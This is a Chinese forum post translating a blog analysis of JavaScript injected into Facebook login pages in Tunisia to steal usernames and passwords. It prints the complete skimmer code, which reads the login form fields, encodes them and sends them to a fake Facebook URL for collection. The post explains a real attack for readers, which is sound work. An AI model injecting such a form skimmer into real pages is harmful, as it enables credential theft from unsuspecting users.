首页
社区
课程
招聘
[翻译]每周译闻——窃取你网络密码的代码
2011-2-25 15:15 6742

[翻译]每周译闻——窃取你网络密码的代码

2011-2-25 15:15
6742
原帖地址:http://blog.jgc.org/2011/01/code-injected-to-steal-passwords-in.html
发生在突尼斯的事件,用户访问facebook和google mail时会被窃取账号密码,很多人的不同网站的账号密码都是使用同一个,一旦一个丢掉那很有可能带来灭顶之灾。不知道我们国家的淫淫网做的怎么样。

突尼斯盗取密码的注入代码
网上传了几个星期了,但是我终于看到了突尼斯的某人(假设是政府)是从大网站比如Google Mail和Facebook如何窃取用户名和密码的。

攻击过程如下:

1、        用户访问Facebook时,Javascript脚本会被注入到页面中用户输入用户名和密码的位置。Facebook上这些页面是通过HTTP提供的,所以如果你能在ISP(Internet Service Provider)层截获的话注入是完全可能的。真实的用户名和密码通过HTTPS发送,而一旦JavaScript注入了就完蛋了。
2、        登录表单本身被修改包含了一个提交处理器来调用Javascript函数hAAAQ3d(读作hacked)。那个函数读取用户名和密码并提交一个HTTP调用给一个假的Facebook页面。这个页面(名叫wo0dh3ad,我想你可以读作woodhead榆木脑袋)把用户名和密码附加上一些代码作为参数来使URL安全。
3、        某地的某个人读取这些URL来抽取用户名和密码。然后可以通过一个日志文件,或者一个防火墙配置过滤这些请求来让用户永远上不了Facebook。

我已经把代码贴在了下面,主要的函数是hAAAQ3d,r5t(产生一个随机的字符串添加到发送用户名和密码的请求URL中)和h6h(我读作hash,它把用户名和密码转换为能在一个URL中安全传送的小写字符串)。

还有助手函数inv0k(1,2,3)(我读作invoke恳求),它产生真正的HTTP请求。两个用于不同的浏览器类型而第三个没有用到,但它做的是修改一个注入图像标签tag来获取用来发送用户名/密码的同一个URL。

function h6h(st)
{
  var st2="";
  for ( i = 0; i < st.length; i++ ) {
    c = st.charCodeAt(i);
    ch = (c & 0xF0) >> 4;
    cl = c & 0x0F;
    st2 = st2 + String.fromCharCode( ch + 97 ) + 
                String.fromCharCode( cl + 97 );
  }
  return st2;
}

function r5t(len)
{
  var st = "";
  for ( i = 0; i < len; i++ )
    st = st + String.fromCharCode( Math.floor( Math.random( 1 ) * 26 + 97 ) ); 
  return st;
}

function hAAAQ3d()
{
  var frm = document.getElementById( "login_form" ); 
  var us3r = frm.email.value; 
  var pa55 = frm.pass.value;
  var url = "http://www.facebook.com/wo0dh3ad?q=" + r5t( 5 ) + 
      "&u=" + h6h( us3r ) + "&p=" + h6h( pa55 ); 
  var bnm = navigator.appName; 
  if ( bnm == 'Microsoft Internet Explorer' )
    inv0k3(url);
  else 
    inv0k2(url);
}

function inv0k1(url) 
{
  var objhq = document.getElementById("x6y7z8"); 
  objhq.src = url;
}

function inv0k2(url)
{
  var xr = new XMLHttpRequest(); 
  xr.open("GET", url, false); 
  xr.send("");
}

function inv0k3(url) 
{
  var xr = new ActiveXObject('Microsoft.XMLHTTP'); 
  xr.open("GET", url, false); 
  xr.send("");
}

[培训]《安卓高级研修班(网课)》月薪三万计划,掌 握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞6
打赏
分享
最新回复 (1)
雪    币: 33
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
齐风 2011-3-29 08:58
2
0
不错,谢谢reggie了
游客
登录 | 注册 方可回帖
返回